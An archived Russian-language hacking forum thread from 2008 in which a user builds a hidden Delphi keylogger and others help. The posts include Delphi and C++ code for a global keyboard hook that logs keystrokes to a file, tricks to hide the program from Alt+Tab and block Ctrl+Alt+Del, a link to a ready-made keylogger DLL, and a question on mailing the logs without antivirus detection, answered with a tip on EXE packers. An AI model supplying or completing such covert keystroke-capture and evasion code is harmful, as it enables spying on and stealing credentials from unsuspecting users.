Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Delphi.Запомнить нажатые клавиши.

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Delphi.Запомнить нажатые клавиши.
Имя
Сообщение << Старые топики   Новые топики >>
Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:40:30.853333   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
 Захотел я сделать прогу,чтоб в текстовый файл сохраняла нажатые клавиши,когда работает.Сама форма свернута/скрыта,все дела-эт легко.Юзаю WinAPI функции (у меня получалось ими для прикола клавиатуру отрубать) Но почему оно работает как обычный OnKeyPress(т.е. токо на форме)? Вот текст:
var
&nbsp; Form1: TForm1;
&nbsp; Dum: integer=0;
&nbsp; f:textfile;
&nbsp; OKH:HHook=0;
 
function KBH(co:integer; w: word ;lp:longint):longint; stdcall;
begin
&nbsp;if co&lt;0 then
&nbsp; begin
&nbsp;&nbsp;&nbsp; Result:=callnexthookex(OKH,co,w,lp);
&nbsp; end
&nbsp;else
&nbsp; begin
&nbsp;&nbsp; AssignFile(f,'C:\try.txt');&nbsp;&nbsp;&nbsp;&nbsp; //создан заранее
&nbsp;&nbsp; Append(f);
&nbsp;&nbsp; write(f,chr(w));
&nbsp;&nbsp; close(f);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //потом мона улучшить,если заработает
&nbsp;&nbsp; Result:=1;
&nbsp; end;
end;
 
procedure TForm1.FormCreate(Sender: TObject);
begin
&nbsp;&nbsp;Form1.Align:=alClient;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp; иначе не пашет почему?!
&nbsp; SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,@Dum,0);
&nbsp; SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Dum,0);
&nbsp; OKH:=SetWindowsHookEx(WH_KEYBOARD,@KBH,HInstance,0);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //вот эта весчь вроде главное
end;
Post #: 1
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:44:57.233333   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
Попробуй что-то типа
if GetAsyncKeyState(ord('W'))<>0 then
Form1.Caption := 'W'

а если на Api пишеш…избавляйся от формы…:)
Post #: 2
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:48:05.486666   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
А вот кстати,как без формы? Ведь если в консоли-она 1 раз выполняет и закрывается(
Post #: 3
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:51:31.770000   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
написал "if GetAsyncKeyState(ord('W'))<>0 then…" для каждой клавиши и поставил в цикл
 
Post #: 4
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:51:35.206666   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
написал "if GetAsyncKeyState(ord('W'))<>0 then…" для каждой клавиши и поставил в цикл
 
Post #: 5
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-23 23:52:53.286666   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000


У меня есть хороший пример кейлога через DLL….могу выложить

Post #: 6
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-24 00:12:54.020000   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
 Было б неплохо.А GetAsyncKeyState (не говоря о практичности)-не пашет.Токо в таймере если+цикл+может лагать.Но хоть что то.спс.
Post #: 7
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-24 00:19:17.963333   
FLIER

Сообщений: 628
Оценки: 0
Присоединился: 2007-08-29 01:31:15.400000
_http://stalker4311.jino-net.ru/KH.rar

думаю разберёшся…у меня не получается сделать приложение это без формы…я его переделываю из "TEST HOOK"
Post #: 8
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-29 10:14:50.160000   
boombox.exe

Сообщений: 16
Оценки: 0
Присоединился: 2008-01-26 12:21:36.283333
На будущее - если хочешь глобально отлавливать нажатия клавишь(то есть не только на своей форме) надо использовать и подключать длл, иначе не выйдет…

SystemParametersInfo(SPI_SETFASTTASKSWITCH,1,@Dum,0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Dum,0); - пишешь кейлог как понял, зачем тогда пытаешся отключить Alt+Tab and Ctrl+Alt+Del?
 
Post #: 9
RE: Delphi.Запомнить нажатые клавиши. - 2008-01-29 17:22:58.863333   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
Это да.Мне токо про Alt+Tab нада,чтоб не видно было прогу там)).А вот в C++ мона всё осуществить так:
….HINSTANCE hLib=LoadLibrary("KBDHook.dll");
    (void*)pKH=GetProcAddress(hLib,"KeyBoardHook");
    HKH=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)(pKH),hLib,0); ….
 Это оно? А в Delphi то же самое или там своё всё?
Post #: 10
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 20:19:30.763333   
boombox.exe

Сообщений: 16
Оценки: 0
Присоединился: 2008-01-26 12:21:36.283333
Я толком не понял что тебе надо? Загрузить функцию с длл?
Если да тогда при создании длл ты создаешь нужные функции, а те которые надо будет экспортировать опишешь в разделе "exports".
Потом уже в приложении пишешь функцию которую надо вызвать в конце добавляешь external "имя длл".
Пример:
function SetHook(const Enabled: Boolean): Hwnd; stdcall; external 'keyhook.dll';
Post #: 11
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 20:59:53.636666   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
 ОК уже,разобралсо сразу и как с *.dll (где готовый код лежал) сладить,и даже как самому сделать(то что и хотел).Теперь из С++ в Delphi переделываю.Токо не догнал:если токо WinApi(SetWindowsHookEx,callnexthookex) юзать,оно будет все клавиши "ловить"? 
quote:

..если хочешь глобально отлавливать нажатия клавишь(то есть не только на своей форме)..
Вот это вот и насторожило.Сообщения же системные?
Post #: 12
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 21:40:28.716666   
alexbozhko

Сообщений: 1024
Оценки: 0
Присоединился: 2005-11-24 13:35:34

quote:

ORIGINAL: Genco

 ОК уже,разобралсо сразу и как с *.dll (где готовый код лежал) сладить,и даже как самому сделать(то что и хотел).Теперь из С++ в Delphi переделываю.Токо не догнал:если токо WinApi(SetWindowsHookEx,callnexthookex) юзать,оно будет все клавиши "ловить"? 

Нет.
Reset ловить не будет :)
Post #: 13
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-05 22:09:15.486666   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
 Ну вот и я гляжу-вроде пашет кое-как.Теперь спокоен.А мона как-нить письмо послать,чтоб это был НЕ компонент от которого файл будет 550Кб и (!!) чтоб антивирусы не ругались? MAPI не предлагать,лаги+палево. Или мне топик новый лучше уже создать?
Post #: 14
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-06 00:40:25.050000   
boombox.exe

Сообщений: 16
Оценки: 0
Присоединился: 2008-01-26 12:21:36.283333
Хитер ты жук :). Значит компонент не использовать, и на Апи видно писать слишком сложно…
Тут решение простое:
- хочешь проще для мозгов(юзай компоненты);
- хочешь размер уменьшить(пиши на Апи);

P.S. Есть программы для сжатия ехе файлов.
Post #: 15
RE: Delphi.Запомнить нажатые клавиши. - 2008-02-06 01:31:43.390000   
Genco

Сообщений: 1662
Оценки: 90
Присоединился: 2007-12-16 23:11:22.003333
   На апи сделал,но как то очень уж криво(знаю,сам виноват):((. Попробую переделать и побольше постараюсь.А в принципе компоненты-не сильно плохо,их и юзал,а спросил для общего развития).Но про апи всё равно ещё подумаю.
Post #: 16
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Delphi.Запомнить нажатые клавиши.







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.